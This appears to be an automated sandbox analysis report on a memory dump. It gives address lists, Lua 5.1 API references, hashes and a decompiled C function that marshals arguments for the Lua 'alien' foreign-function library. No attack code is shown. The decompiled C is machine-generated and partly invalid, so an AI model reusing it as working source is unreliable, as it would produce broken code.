0x005e24c3
0x005e24c5
0x005e24c8
0x005e24cb
0x00000000
0x00000000
0x005e2309
0x005e2309
0x005e230e
0x005e2313
0x005e231b
0x005e2325
0x005e233e
0x005e2348
0x005e235d
0x005e2362
0x005e2363
0x005e2364
0x005e2369
0x005e236c
0x005e236f
0x005e2372
0x005e2374
0x005e2376
0x005e234a
0x005e234a
0x005e234d
0x005e2350
0x005e2353
0x005e2355
0x005e2355
0x005e2327
0x005e2327
0x005e2329
0x005e232c
0x005e232f
0x005e2331
0x005e2331
0x00000000
0x00000000
0x005e2086
0x005e24fd
0x005e24fd
0x005e2500
0x005e2507
0x005e250d
0x005e2753
0x005e2753
0x005e2758
0x005e275a
0x005e275a
0x005e275f
0x005e2760
0x005e2765
0x005e2766
0x005e276b
0x005e276b
0x005e276e
0x005e278a
0x005e2790
0x005e2795
0x005e279d
0x005e27a0
0x005e2843
0x005e2858
0x005e2859
0x005e285a
0x005e2868
0x00000000
0x00000000
0x00000000
0x005e27a6
0x005e27a6
0x005e27af
0x005e27b5
0x00000000
0x00000000
0x005e27bb
0x005e27bb
0x00000000
0x005e27c2
0x005e27c5
0x005e27c7
0x005e27ca
0x005e27cd
0x005e27ce
0x005e27d3
0x005e27d6
0x00000000
0x00000000
0x005e27dc
0x005e27dc
0x005e27df
0x005e27e1
0x005e27e5
0x005e27e7
0x005e27e7
0x005e27ed
0x005e27f0
0x005e27f3
0x005e27f4
0x005e27f9
0x005e27fc
0x00000000
0x00000000
0x005e2818
0x005e2818
0x005e281b
0x005e281e
0x005e2821
0x005e2824
0x005e2827
0x005e282a
0x005e282b
0x005e2830
0x005e2833
0x00000000
0x00000000
0x005e2802
0x005e2802
0x005e2804
0x005e2807
0x005e280a
0x005e280b
0x005e2810
0x005e2813
0x00000000
0x00000000
0x005e2837
0x005e2837
0x005e283a
0x00000000
0x005e27a6
0x005e2513
0x005e2513
0x00000000
0x005e253b
0x005e253b
0x005e253e
0x005e2542
0x005e2547
0x005e254b
0x005e2550
0x005e2554
0x005e2557
0x005e255a
0x005e255d
0x005e2560
0x005e2561
0x00000000
0x00000000
0x005e25bd
0x005e25bd
0x005e25c0
0x005e25c4
0x005e25c4
0x005e25c9
0x005e25cd
0x005e25d2
0x005e25d6
0x005e25d9
0x005e25dc
0x005e25df
0x005e25e2
0x005e25e3
0x00000000
0x00000000
0x005e2594
0x005e2594
0x005e2597
0x005e259b
0x005e259b
0x005e25a0
0x005e25a4
0x005e25a9
0x005e25ac
0x005e25af
0x005e25b2
0x005e25b3
0x00000000
0x00000000
0x005e2623
0x005e2624
0x005e2624
0x005e2628
0x005e262b
0x005e262f
0x005e2633
0x005e2638
0x005e263b
0x00000000
0x00000000
0x005e256b
0x005e256c
0x005e256c
0x005e2570
0x005e2573
0x005e2577
0x005e257b
0x005e2580
0x005e2583
0x005e2586
0x005e2589
0x005e258a
0x00000000
0x00000000
0x005e25ed
0x005e25ee
0x005e25ee
0x005e25f2
0x005e25f5
0x005e25f9
0x005e25fd
0x005e2602
0x005e2605
0x005e2608
0x005e260a
0x005e260c
0x005e260c
0x005e2612
0x005e2615
0x005e2618
0x005e2619
0x00000000
0x00000000
0x005e251a
0x005e2528
0x005e252d
0x005e252e
0x005e2533
0x00000000
0x00000000
0x005e26a0
0x005e26a1
0x005e26a1
0x005e26a5
0x005e26a8
0x005e26ac
0x005e26b0
0x005e26b5
0x005e26b8
0x005e26bb
0x005e26be
0x005e26bf
0x00000000
0x00000000
0x005e26c9
0x005e26c9
0x005e26cc
0x005e26d0
0x005e26d0
0x005e26d5
0x005e26d9
0x005e26de
0x005e26e1
0x005e26e4
0x005e26e7
0x005e26e8
0x00000000
0x00000000
0x005e2640
0x005e2641
0x005e2641
0x005e2645
0x005e2648
0x005e264c
0x005e2650
0x005e2655
0x005e2659
0x005e265c
0x005e265f
0x005e2662
0x005e2665
0x005e2666
0x00000000
0x00000000
0x005e2670
0x005e2671
0x005e2671
0x005e2675
0x005e2678
0x005e267c
0x005e2680
0x005e2685
0x005e2689
0x005e268c
0x005e268f
0x005e2692
0x005e2695
0x005e2696
0x00000000
0x00000000
0x005e26f2
0x005e26f2
0x005e26f5
0x005e26f9
0x005e26f9
0x005e2702
0x005e2707
0x005e270f
0x00000000
0x00000000
0x005e2711
0x005e2711
0x005e2712
0x005e2713
0x005e2718
0x00000000
0x00000000
0x005e2728
0x005e2728
0x005e272b
0x005e272f
0x005e272f
0x005e2738
0x005e273d
0x005e2745
0x005e271d
0x005e271d
0x005e271e
0x005e2723
0x00000000
0x005e2723
0x005e2747
0x005e2747
0x005e2748
0x005e2749
0x005e274e
0x00000000
0x00000000
0x005e2513

APIs

lua_tonumber.LUA5.1 ref: 005E225E
lua_pushnil.LUA5.1(?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E252E
lua_pushnumber.LUA5.1(?,?,?), ref: 005E2561
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?), ref: 005E258A
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?), ref: 005E25B3
lua_pushnumber.LUA5.1(?,?,?,?,?), ref: 005E25E3
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?), ref: 005E2619
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2666
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2696
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E26BF
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E26E8
lua_pushstring.LUA5.1(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2713
lua_pushnil.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E271E
lua_pushlightuserdata.LUA5.1(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2749
luaL_error.LUA5.1(?,alien: unknown return type (function %s),?), ref: 005E2766
lua_pushnumber.LUA5.1(?), ref: 005E27CE
lua_pushnumber.LUA5.1(?), ref: 005E27F4
lua_pushnumber.LUA5.1(?), ref: 005E280B
lua_pushnumber.LUA5.1(?), ref: 005E282B

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnumber.$lua_pushnil.$L_error.lua_pushlightuserdata.lua_pushstring.lua_tonumber.
String ID:
API String ID: 2475247279-0
Opcode ID: a510e015966a81c451a88a849a6d1ad617d044c190ab15dd7def8831bb32bba4
Instruction ID: f7e66b55b7c7d7314a3ef341e06128d3bcdebe10ad45334f83ac251cd08e9260
Opcode Fuzzy Hash: a510e015966a81c451a88a849a6d1ad617d044c190ab15dd7def8831bb32bba4
Instruction Fuzzy Hash: A9B1C6B5C041499BCB08EB95DD89CEEBFB8FF89300F148548F481B720ADA399A15CB71

Uniqueness

Uniqueness Score: -1.00%

Function 005E2201, Relevance: 25.8, APIs: 17, Instructions: 315
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E005E2201(void* __edi, long long __fp0) {
				long long* __ebx;
				void* __esi;
				char _t220;
				signed int _t222;
				char* _t223;
				signed int _t224;
				char* _t225;
				signed int _t236;
				void* _t243;
				void* _t245;
				char* _t246;
				intOrPtr _t247;
				intOrPtr _t248;
				void* _t267;
				signed int _t268;
				void* _t269;
				void* _t271;
				signed int _t272;
				intOrPtr _t274;
				intOrPtr _t275;
				void* _t276;
				long long _t286;

				L0:
				while(1) {
					L0:
					_t286 = __fp0;
					_t267 = __edi;
					_t220 = E005E46A0(4);
					 *((intOrPtr*)(_t272 - 8)) = _t274;
					_push(_t243);
					L005E3F62();
					_t246 =  *((intOrPtr*)(_t272 - 8));
					 *_t246 = _t220;
					_t275 = _t274 + 8;
					 *((intOrPtr*)( *((intOrPtr*)(_t272 - 0xc)) + __edi)) = _t246;
					while(1) {
						L36:
						 *((intOrPtr*)(_t272 - 0xc)) =  *((intOrPtr*)(_t272 - 0xc)) + 4;
						_t243 = _t243 + 1;
						_t116 = _t272 - 0x4c;
						 *_t116 =  *((intOrPtr*)(_t272 - 0x4c)) - 1;
						if( *_t116 == 0) {
							break;
						}
						L1:
						_t247 =  *((intOrPtr*)(_t272 - 0x14));
						_t258 =  *((intOrPtr*)(_t247 + 0x30));
						_t222 =  *( *((intOrPtr*)(_t272 - 0xc)) +  *((intOrPtr*)(_t247 + 0x30)));
						if(_t222 > 0x11) {
							L33:
							_t223 =  *(_t247 + 8);
							if(_t223 == 0) {
								_t223 = "anonymous";
							}
							_push(_t223);
							_push(_t243);
							_push("alien: parameter %i is of unknown type (function %s)");
							_push(_t270);
							L005E3F26();
							_t275 = _t275 + 0x10;
							continue;
						}
						L2:
						switch( *((intOrPtr*)(_t222 * 4 +  &M005E287C))) {
							case 0:
								L3:
								_t241 = E005E46A0(4);
								 *((intOrPtr*)(_t272 - 8)) = _t275;
								_push(_t243);
								_push(_t270);
								L005E3F68();
								_t275 = _t275 + 8;
								_t242 = E005E45C0(_t241, _t286);
								_t257 =  *((intOrPtr*)(_t272 - 8));
								_t258 =  *((intOrPtr*)(_t272 - 0xc));
								 *_t257 = _t242;
								 *((intOrPtr*)( *((intOrPtr*)(_t272 - 0xc)) + _t267)) = _t257;
								goto L36;
							case 1:
								L6:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp dword [ebp-0x18]");
								 *__eax =  *(__ebp - 0x18);
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 2:
								L5:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __eax;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 3:
								L8:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 4:
								L4:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								 *__ecx = __eax;
								__eax =  *(__ebp - 0xc);
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 5:
								L7:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 6:
								goto L33;
							case 7:
								L10:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 8);
								__ecx =  *(__ebp - 0xc);
								 *__eax = __fp0;
								__esp = __esp + 8;
								 *(__ecx + __edi) = __eax;
								goto L36;
							case 8:
								L11:
								8 = E005E4686(8);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__eax = __fp0;
								__esp = __esp + 8;
								 *(__edx + __edi) = __eax;
								goto L36;
							case 9:
								L9:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F62();
								__ecx =  *(__ebp - 8);
								 *__ecx = __al;
								__eax =  *(__ebp - 0xc);
								__esp = __esp + 8;
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 0xa:
								goto L0;
							case 0xb:
								L12:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F50();
								__esp = __esp + 8;
								_push(__ebx);
								_push(__esi);
								if(__eax == 0) {
									L005E3F4A();
									__esp = __esp + 8;
									if(__eax != 0) {
										_push(0);
										_push(__ebx);
										_push(__esi);
										L005E3F5C();
										__edx =  *(__ebp - 8);
										__ecx =  *(__ebp - 0xc);
										 *__edx = __eax;
										__eax = __edx;
										__esp = __esp + 0xc;
										 *(__ecx + __edi) = __eax;
									} else {
										__edx =  *(__ebp - 8);
										__ecx =  *(__ebp - 0xc);
										 *__edx = __eax;
										__eax = __edx;
										 *(__ecx + __edi) = __eax;
									}
								} else {
									L005E3F4A();
									__esp = __esp + 8;
									if(__eax != 0) {
										_push(__ebx);
										_push(__esi);
										L005E3F0E();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax = __ecx;
										__ecx =  *(__ebp - 0xc);
										__esp = __esp + 8;
										 *(__ecx + __edi) = __eax;
									} else {
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax = __ecx;
										__ecx =  *(__ebp - 0xc);
										 *(__ecx + __edi) = __eax;
									}
								}
								goto L36;
							case 0xc:
								L24:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F4A();
								__esp = __esp + 8;
								if(__eax != 0) {
									_push(__ebx);
									_push(__esi);
									L005E3F56();
									__esp = __esp + 8;
									if(__eax == 0) {
										_push(__ebx);
										_push(__esi);
										L005E3F0E();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax =  *(__ebp - 0xc);
										__esp = __esp + 8;
										 *(__eax + __edi) = __ecx;
									} else {
										_push(0);
										_push(__ebx);
										_push(__esi);
										L005E3F5C();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax =  *(__ebp - 0xc);
										__esp = __esp + 0xc;
										 *(__eax + __edi) = __ecx;
									}
								} else {
									__ecx =  *(__ebp - 8);
									 *__ecx = __eax;
									__eax =  *(__ebp - 0xc);
									 *(__eax + __edi) = __ecx;
								}
								goto L36;
							case 0xd:
								L29:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 0x24);
								 *( *(__ebp - 0x24)) = __eax;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x24);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 4;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x24) = __ecx;
								goto L36;
							case 0xe:
								L30:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__ecx =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__esp = __esp + 8;
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__eax =  *(__ebp - 0x1c);
								 *( *(__ebp - 0x28)) =  *(__ebp - 0x1c);
								__eax = 4;
								asm("fldcw word [ebp-0xe]");
								__eax = E005E46A0(4);
								__ecx =  *(__ebp - 0x28);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 4;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x28) = __ecx;
								goto L36;
							case 0xf:
								L31:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 0x2c);
								 *( *(__ebp - 0x2c)) = __al;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x2c);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 1;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x2c) = __ecx;
								goto L36;
							case 0x10:
								L32:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 0x40);
								 *( *(__ebp - 0x40)) = __fp0;
								__esp = __esp + 8;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x40);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 8;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x40) = __ecx;
								goto L36;
							case 0x11:
								L19:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								__eax = E005E1110(__eax, __ebx, __esi, "alien_callback");
								if(__eax == 0) {
									__eax = E005E1110(__eax, __ebx, __esi, "alien_function");
									if(__eax == 0) {
										_push("alien function or callback expected");
										_push(__ebx);
										_push(__esi);
										L005E3F14();
										__ecx =  *(__ebp - 8);
										__edx =  *(__ebp - 0xc);
										__esp = __esp + 0xc;
										__eax = 0;
										 *__ecx = 0;
										 *(__edx + __edi) = __ecx;
									} else {
										__eax =  *(__eax + 4);
										__ecx =  *(__ebp - 8);
										__edx =  *(__ebp - 0xc);
										 *__ecx = __eax;
										 *(__edx + __edi) = __ecx;
									}
								} else {
									__eax =  *__eax;
									__ecx =  *(__ebp - 8);
									__edx =  *(__ebp - 0xc);
									 *__ecx = __eax;
									 *(__edx + __edi) = __ecx;
								}
								goto L36;
						}
					}
					L37:
					_t248 =  *((intOrPtr*)(_t272 - 0x14));
					 *((intOrPtr*)(_t272 - 0x3c)) = 0;
					_t224 =  *(_t248 + 0xc);
					if(_t224 > 0xc) {
						L58:
						_t225 =  *(_t248 + 8);
						if(_t225 == 0) {
							_t225 = "anonymous";
						}
						_push(_t225);
						_push("alien: unknown return type (function %s)");
						_push(_t270);
						L005E3F26();
						L61:
						_t276 = _t275 + 0xc;
						L62:
						 *((intOrPtr*)(_t272 - 0x24)) =  *((intOrPtr*)(_t272 - 0x24)) +  ~( *(_t272 - 0x48)) * 4;
						 *((intOrPtr*)(_t272 - 0x2c)) =  *((intOrPtr*)(_t272 - 0x2c)) -  *((intOrPtr*)(_t272 - 0x30));
						_t268 = 0;
						 *((intOrPtr*)(_t272 - 0x28)) =  *((intOrPtr*)(_t272 - 0x28)) +  ~( *(_t272 - 0x38)) * 4;
						if( *((intOrPtr*)(_t272 - 0x44)) <= 0) {
							L72:
							_pop(_t269);
							_pop(_t271);
							_pop(_t245);
							return E005E45A4( *((intOrPtr*)(_t272 - 0x30)) +  *((intOrPtr*)(_t272 - 0x34)) +  *(_t272 - 0x38) +  *(_t272 - 0x48) + 1, _t245,  *(_t272 - 4) ^ _t272,  *(_t272 - 0x48), _t269, _t271);
						} else {
							goto L63;
						}
						do {
							L63:
							_t236 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t272 - 0x14)) + 0x30)) + _t268 * 4)) + 0xfffffff3;
							if(_t236 > 3) {
								goto L71;
							}
							L64:
							switch( *((intOrPtr*)(_t236 * 4 +  &M005E28F8))) {
								case 0:
									L65:
									asm("fild dword [ecx]");
									_t279 = _t276 - 8;
									 *_t279 = _t286;
									_push(_t270);
									L005E3F80();
									_t276 = _t279 + 0xc;
									 *((intOrPtr*)(_t272 - 0x24)) =  *((intOrPtr*)(_t272 - 0x24)) + 4;
									goto L71;
								case 1:
									L66:
									__edx =  *(__ebp - 0x28);
									__eax =  *__edx;
									asm("fild dword [edx]");
									if(__eax < 0) {
										__fp0 = __fp0 +  *0x5e5878;
									}
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x28) =  *(__ebp - 0x28) + 4;
									goto L71;
								case 2:
									L70:
									__ecx =  *(__ebp - 0x2c);
									__edx =  *__ecx;
									 *(__ebp - 0x18) = __edx;
									__esp = __esp - 8;
									asm("fild dword [ebp-0x18]");
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x2c) =  *(__ebp - 0x2c) + 1;
									goto L71;
								case 3:
									L69:
									__fp0 =  *__ebx;
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									__ebx = __ebx + 8;
									goto L71;
							}
							L71:
							_t268 = _t268 + 1;
						} while (_t268 <  *((intOrPtr*)(_t272 - 0x44)));
						goto L72;
					}
					L38:
					switch( *((intOrPtr*)(_t224 * 4 +  &M005E28C4))) {
						case 0:
							L40:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__edx = __ebp - 0x20;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __ebp - 0x20, __edi, __fp0, __eax,  *(__eax + 4), __ebp - 0x20, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 1:
							L43:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t138 = __ebp - 0x20; // -28
							__edx = _t138;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, _t138, __edi, __fp0, __eax,  *(__eax + 4), _t138, __edi);
							__edx =  *(__ebp - 0x20) & 0x0000ffff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 2:
							L42:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t135 = __ebp - 0x20; // -28
							__edx = _t135;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi); // executed
							asm("fild dword [ebp-0x20]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 3:
							L48:
							_t145 = __ebp - 0x20; // -28
							__eax = _t145;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t145, __edi);
							asm("fild dword [ebp-0x20]");
							__edx =  *(__ebp - 0x20);
							goto L45;
						case 4:
							L41:
							_t130 = __ebp - 0x54; // -80
							__eax = _t130;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t130, __edi);
							asm("fild dword [ebp-0x54]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 5:
							L44:
							_t141 = __ebp - 0x58; // -84
							__eax = _t141;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t141, __edi);
							asm("fild dword [ebp-0x58]");
							__edx =  *(__ebp - 0x58);
							L45:
							if(__edx < 0) {
								__fp0 = __fp0 +  *0x5e5878;
							}
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 6:
							L39:
							E005E4130(_t243, _t258, _t267, _t286,  *((intOrPtr*)(_t272 - 0x14)) + 0x10,  *((intOrPtr*)( *((intOrPtr*)(_t272 - 0x14)) + 4)), 0, _t267);
							_push(_t270);
							L005E3F74();
							_t276 = _t275 + 0x14;
							goto L62;
						case 7:
							L51:
							_t159 = __ebp - 0x50; // -76
							__eax = _t159;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t159, __edi);
							__fp0 =  *(__ebp - 0x50);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 8:
							L52:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t165 = __ebp - 0x60; // -92
							__edx = _t165;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__fp0 =  *(__ebp - 0x60);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 9:
							L49:
							_t149 = __ebp - 0x20; // -28
							__eax = _t149;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t149, __edi);
							__edx =  *(__ebp - 0x20) & 0x000000ff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xa:
							L50:
							_t154 = __ebp - 0x20; // -28
							__eax = _t154;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t154, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xb:
							L53:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t169 = __ebp - 0x3c; // -56
							__edx = _t169;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								goto L55;
							}
							L54:
							_push(__eax);
							_push(__esi);
							L005E3EF0();
							__esp = __esp + 8;
							goto L62;
						case 0xc:
							L56:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t173 = __ebp - 0x3c; // -56
							__edx = _t173;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								L55:
								_push(__esi);
								L005E3F74();
								__esp = __esp + 4;
								goto L62;
							}
							L57:
							_push(__eax);
							_push(__esi);
							L005E3F7A();
							__esp = __esp + 8;
							goto L62;
					}
				}
			}

0x005e2201
0x005e2201
0x005e2201
0x005e2201
0x005e2201
0x005e2206
0x005e220b
0x005e220e
0x005e2210
0x005e2215
0x005e221b
0x005e221d
0x005e2220
0x005e24ec
0x005e24ec
0x005e24ec
0x005e24f0
0x005e24f3
0x005e24f3
0x005e24f7
0x00000000
0x00000000
0x005e2071
0x005e2071
0x005e2074
0x005e207a
0x005e2080
0x005e24d0
0x005e24d0
0x005e24d5
0x005e24d7
0x005e24d7
0x005e24dc
0x005e24dd
0x005e24de
0x005e24e3
0x005e24e4
0x005e24e9
0x00000000
0x005e24e9
0x005e2086
0x005e2086
0x00000000
0x005e208d
0x005e2092
0x005e2097
0x005e209a
0x005e209b
0x005e209c
0x005e20a1
0x005e20a4
0x005e20a9
0x005e20ac
0x005e20af
0x005e20b2
0x00000000
0x00000000
0x005e2112
0x005e2117
0x005e211c
0x005e211f
0x005e2120
0x005e2121
0x005e2126
0x005e2129
0x005e212d
0x005e2130
0x005e2133
0x005e2138
0x005e213b
0x005e213e
0x005e2141
0x005e2148
0x005e214b
0x005e214e
0x00000000
0x00000000
0x005e20e6
0x005e20e6
0x005e20eb
0x005e20f0
0x005e20f3
0x005e20f4
0x005e20f5
0x005e20fa
0x005e20fd
0x005e2102
0x005e2105
0x005e2108
0x005e210a
0x00000000
0x00000000
0x005e2198
0x005e219d
0x005e21a2
